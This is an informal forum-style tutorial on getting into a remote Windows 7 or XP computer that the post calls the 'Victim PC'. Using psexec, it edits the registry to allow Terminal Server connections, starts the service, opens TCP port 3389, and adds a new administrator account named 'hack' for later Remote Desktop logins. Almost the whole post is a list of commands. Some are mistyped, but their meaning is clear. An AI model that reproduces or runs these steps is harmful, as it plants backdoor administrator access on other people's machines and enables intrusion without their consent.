Enable Remote access on a Remote Win7 and XP PC

Hi every one,
Today i will show you some simple steps on how to enable remote computer desktop, Command prompt, and access every thing that can be run as Administrator.
Things you need:

• Pstool
• Notepad for copying commands that i will provide below

Commands (will explain later...)

1. psexec (from pstool)
2. reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
3. reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
4. sc config TermService start= auto
5. net start Termservice
6. netsh.exe -> firewall->add portopening TCP 3389 "Remote Desktop" (note: command sepereate by ->)
7. net user your name /ADD * (example: net user hack /add *)
8. net localgroup administrators your name /add (example: net loaclgroup administrators hack /add)

Step 1

Download Pstool from http://technet.microsoft.com/en-us/sysinternals/bb896649.aspx make sure you have psexec downloaded copy and pasted at c:\windows\system32\

Step 2

Open your command and run it by typing 'psexec \\<target computer> or <ip address> cmd (example: psexec \\192.168.1.100 cmd)

you should be able to have have access (c:\windows\system32>)

Step 3

• On remote command prompt, use command 2 to enable remote option on the Victim PC
• We need to start the Terminal Service, because terminal service was disabled by default we use command 4
• Now we need to start the terminal service for use right now we wanna use command 5, because the command on step 4 only to make terminal service started every computer started, and does not start the service
• Now we will start define our remote service ports we use command 6 as you can see 3389 we define it to be for remote any thing going to 3389 will go through remote desktop

Step 4

Now we will set our own username if we remote we will use command 7 to add new user and then use command 8 to add our username to administrator

Step 5

Now we've done setup our remote desktop. Type exit from the remote command and press win button + 'R' type in mstsc

now we wanna use our target computer name or IP again.

login  !!!! :)